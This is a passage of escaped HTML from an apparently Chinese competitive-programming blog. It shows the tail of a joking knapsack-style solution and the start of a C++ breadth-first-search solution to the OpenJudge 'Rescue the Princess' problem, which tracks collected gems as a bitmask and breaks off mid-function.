class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e girls; cin \u0026gt;\u0026gt; girls;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= girls; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026gt;\u0026gt; money_cost[i]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026gt;\u0026gt; rp_cost[i]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026gt;\u0026gt; time_cost[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; my_money \u0026gt;\u0026gt; my_rp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e how_sad;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= girls; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = my_money; j\u0026gt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e; j--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = my_rp; k \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 我开始审视这个妹子,心中想到\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 如果 我 没钱没人品 的话\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 那真是个悲伤的故事\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 如果 我 有钱而且有人品 而且 我\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 拿下这个妹子就多个妹子陪\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 或者 这个妹子比前面那个省事 的话\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 那我就 推倒她 的说\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 如果推倒她并没有什么用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 那我管她呢\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; time[my_money][my_rp];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"拯救公主\"\u003e拯救公主\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: \u003ca href=\"http://noi.openjudge.cn/ch0205/7221/\"\u003ehttp://noi.openjudge.cn/ch0205/7221/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e带状态的bfs,变量命名鬼才\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cmath\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e Never 0x7ffff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e princeLocX, princeLocY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e princessLocX, princessLocY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003epoint\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e kindsOfGemsCollected, timePassed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e Info, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e time) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethis\u003c/span\u003e-\u0026gt;x = x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethis\u003c/span\u003e-\u0026gt;y = y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethis\u003c/span\u003e-\u0026gt;kindsOfGemsCollected = Info;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etimePassed = time;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eportalsMadeByThoughtfulMe\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}portalList[\u003cspan class=\"number\"\u003e15\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e sizeY, sizeX, kindsOfGemsTOCollect;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dirX[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = { \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dirY[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = { \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e TimeToSavePrincess = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e map[\u003cspan class=\"number\"\u003e210\u003c/span\u003e][\u003cspan class=\"number\"\u003e210\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e visited[\u003cspan class=\"number\"\u003e210\u003c/span\u003e][\u003cspan class=\"number\"\u003e210\u003c/span\u003e][\u003cspan class=\"number\"\u003e32\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eallGemsAreCollected\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e CollectedGemInfo)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cntCollected = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt;= \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((CollectedGemInfo \u0026gt;\u0026gt; i) \u0026amp; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecntCollected++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (cntCollected \u0026gt;= kindsOfGemsTOCollect);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003ereachable\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e GemInfo)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; x \u0026lt; sizeY \u0026amp;\u0026amp; y \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; y \u0026lt; sizeX \u0026amp;\u0026amp; map[x][y] != \u003cspan class=\"string\"\u003e\u0026#39;#\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; visited[x][y][GemInfo] == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ebfs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e startX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e startY, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e targetX, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e targetY, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cntPortal)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003equeue\u0026lt;point\u0026gt; bfsCore;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(startX, startY, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!bfsCore.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epoint currentLoc = bfsCore.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (currentLoc.x == targetX \u0026amp;\u0026amp; currentLoc.y == targetY \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eallGemsAreCollected\u003c/span\u003e(currentLoc.kindsOfGemsCollected)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eTimeToSavePrincess = currentLoc.timePassed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[currentLoc.x][currentLoc.y] == \u003cspan class=\"string\"\u003e\u0026#39;.\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextX = currentLoc.x + dirX[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextY = currentLoc.y + dirY[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ereachable\u003c/span\u003e(nextX, nextY, currentLoc.kindsOfGemsCollected)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evisited[nextX][nextY][currentLoc.kindsOfGemsCollected] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(nextX, nextY, currentLoc.kindsOfGemsCollected, currentLoc.timePassed + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[currentLoc.x][currentLoc.y] \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u0026amp;\u0026amp; map[currentLoc.x][currentLoc.y] \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#39;4\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e newGemInfo = currentLoc.kindsOfGemsCollected | (\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; (map[currentLoc.x][currentLoc.y] - \u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextX = currentLoc.x + dirX[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e nextY = currentLoc.y + dirY[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ereachable\u003c/span\u003e(nextX, nextY, newGemInfo)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evisited[nextX][nextY][newGemInfo] = \u003cspan 